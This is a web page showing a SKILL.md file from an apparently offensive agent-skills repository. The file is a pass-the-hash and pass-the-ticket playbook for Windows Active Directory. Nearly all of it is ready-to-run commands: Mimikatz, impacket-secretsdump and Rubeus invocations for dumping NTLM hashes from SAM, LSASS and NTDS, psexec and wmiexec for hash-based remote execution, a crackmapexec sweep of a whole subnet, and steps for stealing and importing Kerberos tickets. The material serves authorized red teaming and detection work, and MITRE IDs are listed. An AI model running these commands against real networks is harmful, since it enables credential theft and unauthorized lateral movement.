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sunilgentyalasunilgentyala/OmniRed/skills/active-directory/pass-the-hash/SKILL.md

pass-the-hash

Skill5 starsChanged 5 months agoApache-2.0View on GitHub

Pass-the-Hash (PtH) and Pass-the-Ticket (PtT) attack methodology for Windows environments. Covers hash extraction, lateral movement, credential reuse, and over-pass-the-hash (PTK).

1 other project uses a version of this.

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The file

We split this skill into the rules it gives an agent

1 rule. About 0 are common, 1 is distinctive, and 0 are very specific to this project.

  • ≈0

    Common · estimate

    Many files like this have a rule of this kind.

  • ≈1

    Distinctive · estimate

    This author's own choices. Worth a look.

  • 0

    Very specific

    Tied to their project's names, files or tools. Probably skip.

  • Common
  • Distinctive
  • Very specific
  1. Distinctive:

    Use NTLM hash instead of plaintext password:

    line 39

≈ “Common” is an estimate: at least 1 in 5 of the 350,495 skill files we read have a rule of the same kind, not the same words. “Very specific” is our guess from the words: it names a file, a command, a setting or the project itself.

Keep what fits and drop the rest. Your version, ready for your agents.
Files
SKILL.md

Pass-the-Hash / Pass-the-Ticket

Hash Extraction

From local SAM (requires SYSTEM):

# Impacket
impacket-secretsdump LOCAL -sam SAM -system SYSTEM

# Mimikatz (on Windows)
privilege::debug
lsadump::sam

From LSASS memory:

# Mimikatz
privilege::debug
sekurlsa::logonpasswords

# Remote (if admin on target)
impacket-secretsdump domain/user:password@target_ip

From NTDS.dit (Domain Controller — DCSync):

impacket-secretsdump -just-dc domain/user:password@dc-ip

Pass-the-Hash (PtH)

Use NTLM hash instead of plaintext password:

# Impacket — SMB exec
impacket-psexec -hashes :NTLM_HASH domain/administrator@target_ip

# Impacket — WMI exec
impacket-wmiexec -hashes :NTLM_HASH domain/administrator@target_ip

# Impacket — SMB with hash
impacket-smbclient -hashes :NTLM_HASH domain/user@target_ip

# CrackMapExec — bulk lateral movement
crackmapexec smb 10.0.0.0/24 -u administrator -H NTLM_HASH
crackmapexec smb 10.0.0.0/24 -u administrator -H NTLM_HASH --local-auth

Mimikatz PtH:

sekurlsa::pth /user:administrator /domain:domain.local /ntlm:HASH /run:cmd.exe

Pass-the-Ticket (PtT) — Kerberos

# Extract Kerberos tickets
Rubeus.exe dump /nowrap

# Export to file
mimikatz: sekurlsa::tickets /export

# Import ticket
Rubeus.exe ptt /ticket:BASE64_TICKET
mimikatz: kerberos::ptt ticket.kirbi

# Verify
klist

Over-Pass-the-Hash (OPTH) — Convert NTLM to TGT

# Rubeus
Rubeus.exe asktgt /user:administrator /rc4:NTLM_HASH /ptt

# Mimikatz
sekurlsa::pth /user:administrator /domain:domain.local /ntlm:HASH
# → opens cmd.exe with Kerberos ticket

Tools

MITRE ATT&CK

  • T1550.002 — Use Alternate Authentication Material: Pass the Hash
  • T1550.003 — Use Alternate Authentication Material: Pass the Ticket

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